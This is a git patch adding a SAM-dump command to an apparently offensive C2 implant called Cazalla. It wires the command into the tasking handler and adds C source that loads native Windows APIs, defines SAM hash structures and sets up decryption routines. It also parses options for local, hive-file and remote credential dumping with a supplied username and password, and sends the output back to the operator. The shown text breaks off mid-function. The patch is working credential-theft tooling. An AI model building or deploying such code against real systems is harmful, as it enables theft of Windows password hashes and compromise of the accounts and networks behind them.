From cb774a21a3a8e48ce8da0e0c36b6ea7130e76191 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Wed, 17 Dec 2025 16:13:40 +0100 Subject: [PATCH] SamDump implemented --- .../cazalla/agent_code/cazalla/Makefile | 4 +- .../cazalla/agent_code/cazalla/comandos.c | 4 + .../cazalla/agent_code/cazalla/comandos.h | 4 + .../agent_code/cazalla/inline_execute.c | 14 +- .../cazalla/agent_code/cazalla/samdump.c | 2292 +++++++++++++++++ .../cazalla/agent_code/cazalla/samdump.h | 15 + .../cazalla/agent_functions/samdump.py | 346 +++ .../cazalla/translator/commands_from_c2.py | 65 +- .../translator/commands_from_implant.py | 26 +- Payload_Type/cazalla/translator/translator.py | 36 +- Payload_Type/cazalla/translator/utils.py | 194 +- README.md | 1 + documentation-payload/Cazalla/_index.md | 3 +- documentation-payload/Cazalla/commands.md | 77 + .../Cazalla/commands/README.md | 4 + .../Cazalla/commands/samdump.md | 365 +++ documentation-payload/Cazalla/features.md | 46 + documentation-payload/Cazalla/opsec.md | 29 + 18 files changed, 3403 insertions(+), 122 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/samdump.py create mode 100644 documentation-payload/Cazalla/commands/samdump.md diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index 4f8a4a8..18a1f7a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc # Base flags CFLAGS = -Wall -w -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -mwindows -LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll -mwindows +LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll # Debug parameters (can be overridden from command line) # DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 448c13c..000fcd3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -183,6 +183,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); + } else if (tarea == SAMDUMP_CMD) { + _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea); + SamDumpHandler(analizadorTarea); + _inf("===== SAMDUMP_CMD COMPLETED ====="); } else if (tarea == INLINE_EXECUTE_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); InlineExecuteHandler(analizadorTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 18d0d0f..8453830 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -16,6 +16,7 @@ #include "rpfwd_manager.h" #include "browser_info.h" #include "browser_dump.h" +#include "samdump.h" #include "inline_execute.h" #define SHELL_CMD 0x54 @@ -64,6 +65,9 @@ /* Browser dump command */ #define BROWSER_DUMP_CMD 0x41 +/* SAM dump command */ +#define SAMDUMP_CMD 0x42 + /* BOF and Assembly execution commands */ #define INLINE_EXECUTE_CMD 0x70 #define INLINE_EXECUTE_ASSEMBLY_CMD 0x71 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c index cca5046..1d1976b 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c @@ -1100,19 +1100,19 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { // Always try to capture output, even if BOF returned FALSE // The BOF might have produced output via BeaconPrintf before crashing - // Get output from Beacon compatibility layer - int outdataSize = 0; - PCHAR outdata = BeaconGetOutputData(&outdataSize); + // Get output from Beacon compatibility layer + int outdataSize = 0; + PCHAR outdata = BeaconGetOutputData(&outdataSize); - if (outdata && outdataSize > 0) { - addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); - free(outdata); + if (outdata && outdataSize > 0) { + addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); + free(outdata); // If BOF failed but we have output, add a warning if (!bofSuccess) { PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n"); } - } else { + } else { if (bofSuccess) { PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n"); } else { diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c new file mode 100644 index 0000000..aed68a1 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c @@ -0,0 +1,2292 @@ +#undef UNICODE +#include +#include +#include +#include +#include +#include +#include +#include +#include "samdump.h" +#include "analizador.h" +#include "paquete.h" +#include "debug.h" +#include "tokens.h" + +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "crypt32.lib") +#pragma comment(lib, "ntdll.lib") + +// Native Windows API declarations +#ifndef NtCurrentProcess +#define NtCurrentProcess ((HANDLE)(LONG_PTR)-1) +#endif + +#ifndef RTL_CONSTANT_STRING +#define RTL_CONSTANT_STRING(s) { sizeof(s) - sizeof(*(s)), sizeof(s), (PWSTR)(s) } +#endif + +#ifndef RTL_CONSTANT_ANSI_STRING +#define RTL_CONSTANT_ANSI_STRING(s) { sizeof(s) - sizeof(*(s)), sizeof(s), (PSTR)(s) } +#endif + +// NTSTATUS definitions +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#ifndef STATUS_BUFFER_TOO_SMALL +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) +#endif + +#ifndef STATUS_INSUFFICIENT_RESOURCES +#define STATUS_INSUFFICIENT_RESOURCES ((NTSTATUS)0xC000009AL) +#endif + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +// Registry key information classes +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation = 0, + KeyNodeInformation = 1, + KeyFullInformation = 2, + KeyNameInformation = 3, + KeyCachedInformation = 4, + KeyVirtualizationInformation = 5, + KeyHandleTagsInformation = 6, + KeyTrustInformation = 7, + KeyLayerInformation = 8 +} KEY_INFORMATION_CLASS; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation = 0, + KeyValueFullInformation = 1, + KeyValuePartialInformation = 2, + KeyValueFullInformationAlign64 = 3, + KeyValuePartialInformationAlign64 = 4 +} KEY_VALUE_INFORMATION_CLASS; + +// Registry structures +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + +typedef struct _KEY_NODE_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +// Registry options +#define REG_OPTION_BACKUP_RESTORE 0x00000004L + +// Native API function pointers (loaded dynamically from ntdll.dll) +typedef NTSTATUS (NTAPI *PNTOPENPROCESSTOKEN)(HANDLE, ACCESS_MASK, PHANDLE); +typedef NTSTATUS (NTAPI *PNTQUERYINFORMATIONTOKEN)(HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS (NTAPI *PNTOPENKEY)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); +typedef NTSTATUS (NTAPI *PNTQUERYVALUEKEY)(HANDLE, PCUNICODE_STRING, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS (NTAPI *PNTQUERYKEY)(HANDLE, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS (NTAPI *PNTENUMERATEKEY)(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS (NTAPI *PLDRGETDLLHANDLE)(PCWSTR, PULONG, PUNICODE_STRING, PVOID*); +typedef NTSTATUS (NTAPI *PLDRGETPROCEDUREADDRESS)(PVOID, PANSI_STRING, ULONG, PVOID*); +typedef NTSTATUS (NTAPI *PRTLACQUIREPRIVILEGE)(PULONG, ULONG, ULONG, PVOID*); +// RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll +// We use AllocateAndInitializeSid, EqualSid, FreeSid directly (statically linked) + +static PNTOPENPROCESSTOKEN pNtOpenProcessToken = NULL; +static PNTQUERYINFORMATIONTOKEN pNtQueryInformationToken = NULL; +static PNTOPENKEY pNtOpenKey = NULL; +static PNTQUERYVALUEKEY pNtQueryValueKey = NULL; +static PNTQUERYKEY pNtQueryKey = NULL; +static PNTENUMERATEKEY pNtEnumerateKey = NULL; +static PLDRGETDLLHANDLE pLdrGetDllHandle = NULL; +static PLDRGETPROCEDUREADDRESS pLdrGetProcedureAddress = NULL; +static PRTLACQUIREPRIVILEGE pRtlAcquirePrivilege = NULL; +// RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll +// We'll use the advapi32 versions directly (AllocateAndInitializeSid, EqualSid, FreeSid) + +// SAM structures (from SamDump code) +#define SYSTEM_KEY_SIZE 16 +#define PEK_SIZE 16 +#define MD5_DIGEST_LENGTH 16 +#define USER_SUBKEY_INFORMATION_SIZE (sizeof(KEY_BASIC_INFORMATION) + 6 * sizeof(WCHAR)) + +#ifndef ANYSIZE_ARRAY +#define ANYSIZE_ARRAY 1 +#endif + +#ifndef FIELD_OFFSET +#define FIELD_OFFSET(type, field) ((LONG)(LONG_PTR)&(((type *)0)->field)) +#endif + +// Security constants +#ifndef SECURITY_NT_AUTHORITY +#define SECURITY_NT_AUTHORITY {0,0,0,0,0,5} +#endif + +#ifndef SECURITY_LOCAL_SYSTEM_RID +#define SECURITY_LOCAL_SYSTEM_RID (0x00000012L) +#endif + +#ifndef SE_BACKUP_PRIVILEGE +#define SE_BACKUP_PRIVILEGE (17L) +#endif + +// Function pointer type for NtOpenKeyEx +typedef NTSTATUS (NTAPI *PNTOPENKEYEX)( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions +); + +// SAM structures (adapted from SamDump) +typedef struct _SAM_KEY_DATA { + ULONG Version; + ULONG Length; + union { + struct { + UCHAR Salt[16]; + CHAR Key[16]; + UCHAR CheckSum[16]; + } Rc4; + struct { + ULONG ChecksumLength; + ULONG KeyLength; + UCHAR Iv[16]; + UCHAR Key[ANYSIZE_ARRAY]; + } Aes; + }; +} SAM_KEY_DATA, *PSAM_KEY_DATA; + +typedef struct _SAM_DOMAIN_FIXED_DATA { + ULONG Version; + ULONG Reserved; + LARGE_INTEGER CreationTime; + LARGE_INTEGER DomainModifiedCount; + LARGE_INTEGER MaxPasswordAge; + LARGE_INTEGER MinPasswordAge; + LARGE_INTEGER ForceLogoff; + LARGE_INTEGER LockoutDuration; + LARGE_INTEGER LockoutObservationWindow; + LARGE_INTEGER ModifiedCountAtLastPromotion; + ULONG NextRid; + ULONG PasswordProperties; + USHORT MinPasswordLength; + USHORT PasswordHistoryLength; + USHORT LockoutThreshold; + ULONG DomainServerState; + ULONG DomainServerRole; + BOOL UasCompatibilityRequired; + ULONG Reserved2; + SAM_KEY_DATA PasswordEncryptionKey; +} SAM_DOMAIN_FIXED_DATA, *PSAM_DOMAIN_FIXED_DATA; + +typedef struct _SAM_USER_FIXED_DATA { + ULONG Version; + ULONG Reserved; + LARGE_INTEGER LastLogon; + LARGE_INTEGER LastLogoff; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER AccountExpires; + LARGE_INTEGER LastBadPasswordTime; + ULONG UserId; + ULONG PrimaryGroupId; + ULONG UserAccountControl; + USHORT CountryCode; + USHORT CodePage; + USHORT BadPasswordCount; + USHORT LogonCount; + USHORT AdminCount; + USHORT OperatorCount; +} SAM_USER_FIXED_DATA, *PSAM_USER_FIXED_DATA; + +typedef struct _ATTRIBUTE_TABLE_ENTRY { + ULONG Offset; + ULONG Length; + ULONG Reserved; +} ATTRIBUTE_TABLE_ENTRY, *PATTRIBUTE_TABLE_ENTRY; + +typedef struct _SAM_USER_VARIABLE_DATA { + ATTRIBUTE_TABLE_ENTRY Reserved; + ATTRIBUTE_TABLE_ENTRY UserName; + ATTRIBUTE_TABLE_ENTRY FullName; + ATTRIBUTE_TABLE_ENTRY Comment; + ATTRIBUTE_TABLE_ENTRY UserComment; + ATTRIBUTE_TABLE_ENTRY Reserved2; + ATTRIBUTE_TABLE_ENTRY Homedir; + ATTRIBUTE_TABLE_ENTRY HomedirConnect; + ATTRIBUTE_TABLE_ENTRY ScriptPath; + ATTRIBUTE_TABLE_ENTRY ProfilePath; + ATTRIBUTE_TABLE_ENTRY Workstations; + ATTRIBUTE_TABLE_ENTRY HoursAllowed; + ATTRIBUTE_TABLE_ENTRY Reserved3; + ATTRIBUTE_TABLE_ENTRY LMHash; + ATTRIBUTE_TABLE_ENTRY NTHash; + ATTRIBUTE_TABLE_ENTRY NTHistory; + ATTRIBUTE_TABLE_ENTRY LMHistory; + UCHAR Data[ANYSIZE_ARRAY]; +} SAM_USER_VARIABLE_DATA, *PSAM_USER_VARIABLE_DATA; + +typedef struct _SAM_HASH { + USHORT PekId; + USHORT Revision; + union { + struct { + CHAR Data[ANYSIZE_ARRAY]; + } Rc4; + struct { + ULONG DataOffset; + UCHAR Iv[16]; + UCHAR Data[ANYSIZE_ARRAY]; + } Aes; + }; +} SAM_HASH, *PSAM_HASH; + +// MD5 context +typedef struct _MD5_CTX { + ULONG Count[2]; + ULONG State[4]; + CHAR Buffer[64]; + CHAR Digest[MD5_DIGEST_LENGTH]; +} MD5_CTX, *PMD5_CTX; + +// Forward declarations +static BOOLEAN IsSidLocalSystem(PSID Sid); +static NTSTATUS CanAccessSam(PNTOPENKEYEX* NtOpenKeyExPointer); +static NTSTATUS GetLsaSystemKey(PUCHAR SystemKey); +static NTSTATUS GetLsaSystemKeyFromHive(PWCHAR HiveName, PUCHAR SystemKey); +static NTSTATUS GetPasswordEncryptionKey(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx); +static NTSTATUS GetPasswordEncryptionKeyFromHive(PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX* OpenKeyEx); +static NTSTATUS QueryUserVariableAttributes(HANDLE KeyHandle, PKEY_VALUE_PARTIAL_INFORMATION* ValueInformation); +static VOID DumpPasswordHashes(PUCHAR PasswordEncryptionKey, PNTOPENKEYEX OpenKeyEx, PPaquete respuesta, PPaquete salida); +static VOID DumpPasswordHashesFromHive(PUCHAR PasswordEncryptionKey, PWCHAR HiveName, PNTOPENKEYEX OpenKeyEx, PPaquete respuesta, PPaquete salida); +static BOOL CanAccessSamRemotely(PWCHAR MachineName); +static LONG GetLsaSystemKeyRemote(HKEY HklmHandle, PUCHAR SystemKey); +static LONG GetPasswordEncryptionKeyRemote(HKEY HklmHandle, PUCHAR LsaSystemKey, PUCHAR PasswordEncryptionKey); +static LONG QueryUserVariableAttributesRemote(HKEY KeyHandle, PSAM_USER_VARIABLE_DATA* UserVariableData); +static VOID DumpPasswordHashesRemote(HKEY HklmHandle, PUCHAR PasswordEncryptionKey, PPaquete credentials_paquete, PPaquete salida); +static BOOLEAN DecryptPasswordEncryptionKey(PUCHAR LsaSystemKey, PSAM_DOMAIN_FIXED_DATA DomainFixedData, PUCHAR PasswordEncryptionKey); +static VOID DecryptHash(PATTRIBUTE_TABLE_ENTRY HashTableEntry, PSAM_HASH Hash, PUCHAR PasswordEncryptionKey, ULONG UserRid, BOOLEAN isLMHash, PBYTE* outputHash); +static BOOLEAN Aes128Decrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, ULONG CiphertextLength); + +// MD5 functions (simplified - using Windows CryptoAPI) +static VOID MD5Hash(PUCHAR data, ULONG dataLen, PUCHAR digest) { + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + DWORD dwHashLen = MD5_DIGEST_LENGTH; + + if (CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) { + CryptHashData(hHash, data, dataLen, 0); + CryptGetHashParam(hHash, HP_HASHVAL, digest, &dwHashLen, 0); + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } +} + +// SystemFunction033 (RC4) - from ntdll.dll +typedef NTSTATUS (NTAPI *PSYSTEMFUNCTION033)(PSTRING Data, PSTRING Key); +static PSYSTEMFUNCTION033 pSystemFunction033 = NULL; + +// SystemFunction027 (DES) - from ntdll.dll +typedef NTSTATUS (NTAPI *PSYSTEMFUNCTION027)(PUCHAR EncryptedNtOwfPassword, PULONG Index, LPBYTE NtOwfPassword); +static PSYSTEMFUNCTION027 pSystemFunction027 = NULL; + +// Initialize native API functions from ntdll.dll and advapi32.dll +static BOOL InitNativeFunctions(void) { + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + if (!hNtdll) { + _err("[InitNativeFunctions] Failed to get ntdll.dll handle"); + return FALSE; + } + + HMODULE hAdvapi32 = GetModuleHandleA("advapi32.dll"); + if (!hAdvapi32) { + _err("[InitNativeFunctions] Failed to get advapi32.dll handle"); + return FALSE; + } + + // Load crypto functions from advapi32.dll (not ntdll.dll!) + pSystemFunction033 = (PSYSTEMFUNCTION033)GetProcAddress(hAdvapi32, "SystemFunction033"); + if (!pSystemFunction033) { + _err("[InitNativeFunctions] Failed to load SystemFunction033 from advapi32.dll"); + return FALSE; + } + _inf("[InitNativeFunctions] SystemFunction033 loaded successfully"); + + pSystemFunction027 = (PSYSTEMFUNCTION027)GetProcAddress(hAdvapi32, "SystemFunction027"); + if (!pSystemFunction027) { + _err("[InitNativeFunctions] Failed to load SystemFunction027 from advapi32.dll"); + return FALSE; + } + _inf("[InitNativeFunctions] SystemFunction027 loaded successfully"); + + // Load native API functions from ntdll.dll + pNtOpenProcessToken = (PNTOPENPROCESSTOKEN)GetProcAddress(hNtdll, "NtOpenProcessToken"); + if (!pNtOpenProcessToken) _err("[InitNativeFunctions] Failed to load NtOpenProcessToken"); + + pNtQueryInformationToken = (PNTQUERYINFORMATIONTOKEN)GetProcAddress(hNtdll, "NtQueryInformationToken"); + if (!pNtQueryInformationToken) _err("[InitNativeFunctions] Failed to load NtQueryInformationToken"); + + pNtOpenKey = (PNTOPENKEY)GetProcAddress(hNtdll, "NtOpenKey"); + if (!pNtOpenKey) _err("[InitNativeFunctions] Failed to load NtOpenKey"); + + pNtQueryValueKey = (PNTQUERYVALUEKEY)GetProcAddress(hNtdll, "NtQueryValueKey"); + if (!pNtQueryValueKey) _err("[InitNativeFunctions] Failed to load NtQueryValueKey"); + + pNtQueryKey = (PNTQUERYKEY)GetProcAddress(hNtdll, "NtQueryKey"); + if (!pNtQueryKey) _err("[InitNativeFunctions] Failed to load NtQueryKey"); + + pNtEnumerateKey = (PNTENUMERATEKEY)GetProcAddress(hNtdll, "NtEnumerateKey"); + if (!pNtEnumerateKey) _err("[InitNativeFunctions] Failed to load NtEnumerateKey"); + + pLdrGetDllHandle = (PLDRGETDLLHANDLE)GetProcAddress(hNtdll, "LdrGetDllHandle"); + if (!pLdrGetDllHandle) _err("[InitNativeFunctions] Failed to load LdrGetDllHandle"); + + pLdrGetProcedureAddress = (PLDRGETPROCEDUREADDRESS)GetProcAddress(hNtdll, "LdrGetProcedureAddress"); + if (!pLdrGetProcedureAddress) _err("[InitNativeFunctions] Failed to load LdrGetProcedureAddress"); + + pRtlAcquirePrivilege = (PRTLACQUIREPRIVILEGE)GetProcAddress(hNtdll, "RtlAcquirePrivilege"); + if (!pRtlAcquirePrivilege) _err("[InitNativeFunctions] Failed to load RtlAcquirePrivilege"); + + // RtlAllocateAndInitializeSid, RtlEqualSid, RtlFreeSid are available from advapi32.dll + // We'll use the advapi32 versions directly (AllocateAndInitializeSid, EqualSid, FreeSid) + // These are available statically, no need to load dynamically + + // NtClose is available directly from winternl.h, no need to load + + if (!pSystemFunction033 || !pSystemFunction027 || !pNtOpenProcessToken || + !pNtQueryInformationToken || !pNtOpenKey || !pNtQueryValueKey || + !pNtQueryKey || !pNtEnumerateKey || !pLdrGetDllHandle || + !pLdrGetProcedureAddress || !pRtlAcquirePrivilege) { + _err("[InitNativeFunctions] Failed to load one or more native functions"); + return FALSE; + } + + _inf("[InitNativeFunctions] All native functions loaded successfully"); + + return TRUE; +} + +/* + * SamDumpHandler - Dump SAM database and extract NTLM hashes + * + * Adapted from functional SamDump code + */ +VOID SamDumpHandler(PAnalizador argumentos) { + _inf("===== SamDumpHandler INICIO ====="); + + // Read task UUID first - cuando input_type=string, el formato es [UUID:36][nbArg:4][params...] + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + if (!tareaUuid || tamanoUuid != 36) { + _err("[samdump] UUID de tarea inválido (ptr=%p, len=%zu)", tareaUuid, tamanoUuid); + return; + } + + // Ensure UUID is null-terminated for logging + CHAR uuidBuffer[37] = {0}; + memcpy(uuidBuffer, tareaUuid, 36); + uuidBuffer[36] = '\0'; + + // Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets + BYTE uuidRaw[36]; + memcpy(uuidRaw, tareaUuid, 36); + + _inf("[samdump] UUID de tarea leído: '%.36s'", uuidBuffer); + + // Initialize packages early for error handling + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente + _inf("[samdump] Paquete respuesta creado, length=%zu (UUID_agente + POST_RESPONSE)", respuesta->length); + + SIZE_T lengthBefore = respuesta->length; + addBytes(respuesta, (PBYTE)uuidRaw, 36, FALSE); // Task UUID (igual que screenshot) + _inf("[samdump] UUID de tarea agregado, length antes=%zu, length después=%zu (diff=%zu)", + lengthBefore, respuesta->length, respuesta->length - lengthBefore); + PPaquete salida = nuevoPaquete(0, FALSE); + PPaquete artifacts = nuevoPaquete(0, FALSE); + + // Liberar UUID después de usarlo (igual que otros comandos) + if (tareaUuid) { + LocalFree(tareaUuid); + } + + // Read number of arguments + UINT32 nbArg = getInt32(argumentos); + _inf("[samdump] Número de argumentos: %u", nbArg); + + // Parse parameters in fixed order: [method][sam_path][system_path] or [method][remote_host][username][password] + CHAR method[32] = {0}; // "registry", "files", or "remote" + CHAR samPath[MAX_PATH] = {0}; + CHAR systemPath[MAX_PATH] = {0}; + CHAR remoteHost[256] = {0}; + CHAR username[256] = {0}; + CHAR password[256] = {0}; + + // Default to registry if no parameters + strncpy(method, "registry", sizeof(method) - 1); + + // Read parameters in fixed order + if (nbArg > 0) { + // Parameter 0: method + SIZE_T methodLen = 0; + PCHAR methodValue = getString(argumentos, &methodLen); + if (methodValue && methodLen > 0) { + SIZE_T copyLen = (methodLen < sizeof(method) - 1) ? methodLen : sizeof(method) - 1; + memcpy(method, methodValue, copyLen); + method[copyLen] = '\0'; + _inf("[samdump] Método: %s", method); + } + if (methodValue) LocalFree(methodValue); + + if (strcmp(method, "files") == 0) { + // Parameters 1-2: sam_path and system_path (optional - will try common paths if not provided) + if (nbArg >= 2) { + // Parameter 1: sam_path + SIZE_T samPathLen = 0; + PCHAR samPathValue = getString(argumentos, &samPathLen); + if (samPathValue && samPathLen > 0) { + SIZE_T copyLen = (samPathLen < sizeof(samPath) - 1) ? samPathLen : sizeof(samPath) - 1; + memcpy(samPath, samPathValue, copyLen); + samPath[copyLen] = '\0'; + _inf("[samdump] SAM path provided: %s", samPath); + } + if (samPathValue) LocalFree(samPathValue); + + if (nbArg >= 3) { + // Parameter 2: system_path + SIZE_T systemPathLen = 0; + PCHAR systemPathValue = getString(argumentos, &systemPathLen); + if (systemPathValue && systemPathLen > 0) { + SIZE_T copyLen = (systemPathLen < sizeof(systemPath) - 1) ? systemPathLen : sizeof(systemPath) - 1; + memcpy(systemPath, systemPathValue, copyLen); + systemPath[copyLen] = '\0'; + _inf("[samdump] SYSTEM path provided: %s", systemPath); + } + if (systemPathValue) LocalFree(systemPathValue); + } + } else { + _inf("[samdump] No paths provided, will try common locations"); + } + } else if (strcmp(method, "remote") == 0) { + if (nbArg < 2) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: remote_host is required when method=remote\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + + // Parameter 1: remote_host (required) + SIZE_T remoteHostLen = 0; + PCHAR remoteHostValue = getString(argumentos, &remoteHostLen); + if (remoteHostValue && remoteHostLen > 0) { + SIZE_T copyLen = (remoteHostLen < sizeof(remoteHost) - 1) ? remoteHostLen : sizeof(remoteHost) - 1; + memcpy(remoteHost, remoteHostValue, copyLen); + remoteHost[copyLen] = '\0'; + _inf("[samdump] Remote host: %s", remoteHost); + } else { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: remote_host is required when method=remote\n"); + if (remoteHostValue) LocalFree(remoteHostValue); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + if (remoteHostValue) LocalFree(remoteHostValue); + + // Parameters 2-3: username and password (optional, only if impersonate=true) + if (nbArg >= 3) { + SIZE_T usernameLen = 0; + PCHAR usernameValue = getString(argumentos, &usernameLen); + if (usernameValue && usernameLen > 0) { + SIZE_T copyLen = (usernameLen < sizeof(username) - 1) ? usernameLen : sizeof(username) - 1; + memcpy(username, usernameValue, copyLen); + username[copyLen] = '\0'; + _inf("[samdump] Username: %s", username); + } + if (usernameValue) LocalFree(usernameValue); + + if (nbArg >= 4) { + SIZE_T passwordLen = 0; + PCHAR passwordValue = getString(argumentos, &passwordLen); + if (passwordValue && passwordLen > 0) { + SIZE_T copyLen = (passwordLen < sizeof(password) - 1) ? passwordLen : sizeof(password) - 1; + memcpy(password, passwordValue, copyLen); + password[copyLen] = '\0'; + _inf("[samdump] Password: (provided, %zu chars)", passwordLen); + } + if (passwordValue) LocalFree(passwordValue); + } + } + } + + // Initialize native API functions (needed for registry method) + if (strcmp(method, "registry") == 0) { + if (!InitNativeFunctions()) { + PackageAddFormatPrintf(salida, FALSE, "[samdump] ERROR: Failed to initialize native API functions\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(artifacts); + liberarPaquete(respuesta); + return; + } + } + } + + PackageAddFormatPrintf(salida, FALSE, "[samdump] Starting SAM database dump...\n"); + PackageAddFormatPrintf(salida, FALSE, "============================================\n"); + PackageAddFormatPrintf(salida, FALSE, "|| SAM Database Dump ||\n"); + PackageAddFormatPrintf(salida, FALSE, "============================================\n\n"); + PackageAddFormatPrintf(salida, FALSE, "[samdump] Method: %s\n\n", method); + + // Route to appropriate dump method + if (strcmp(method, "files") == 0) { + // 